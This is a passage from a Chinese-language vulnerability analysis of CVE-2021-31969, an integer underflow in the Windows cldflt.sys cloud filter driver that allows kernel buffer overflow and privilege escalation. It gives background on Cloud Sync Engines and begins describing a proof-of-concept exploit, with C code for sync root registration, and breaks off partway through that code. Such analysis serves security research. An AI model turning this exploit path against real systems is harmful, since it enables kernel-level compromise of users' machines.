随着云存储的普及,各种操作系统都添加了支持此类存储的服务和功能。现在可以在云端同步本地存储,同时也可以在系统上检索到问价。在 Windows 上,这种功能是通过Cloud Sync Engines云同步引擎完成的。该组件公开了一个 Cloud Filter API 的本机 API。该API实现可在 Cloud Files Mini Filter Driver 或 cldflt.sys 中找到。本文介绍了有关此驱动程序中的整数下溢漏洞的一些详细信息,该漏洞的编号为CVE-2021-31969 / ZDI-21-797,它可以被利用来溢出内核缓冲区并通过权限提升实现代码执行。
一、Cloud Sync Engines
Windows 中的Cloud Filter API 启用是从 Windows 10 版本的 1709 开始。它提供对Cloud Sync Engines云同步引擎的支持并处理创建和管理占位符文件和目录之类的任务。Cloud Sync Engines云同步引擎是一种在远程主机和本地客户端之间同步文件的服务,它允许本地用户通过 Windows 文件系统和文件资源管理器访问云托管的文件和目录。在这种情况下,文件本身驻留在云端,而在你的本地文件系统上,该文件的表示称为“占位符”。在云中的文件可能很大,但占位符文件可能只消耗存储标头所需的几个字节。当你访问占位符文件时,Windows 通过同步使关联的云文件显示出来。
二、漏洞利用方法
以下是PoC中关键步骤的描述:
1:首先执行同步注册。然后启动同步提供程序和同步过滤器 API 之间的通信:
WCHAR* dir = (WCHAR*)L"C:\\ProgramData";
GUID guid = {
0 };
guid.Data1 = 0xB196E670;
guid.Data2 = 0x59C7;
guid.Data3 = 0x4D41;
CF_SYNC_REGISTRATION reg = {
0 };
reg.StructSize = sizeof(reg);
reg.ProviderName = L"test";
reg.ProviderVersion = L"1.0";
reg.ProviderId = guid;
CF_SYNC_POLICIES policies = {
0 };
policies.StructSize = sizeof(policies);
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;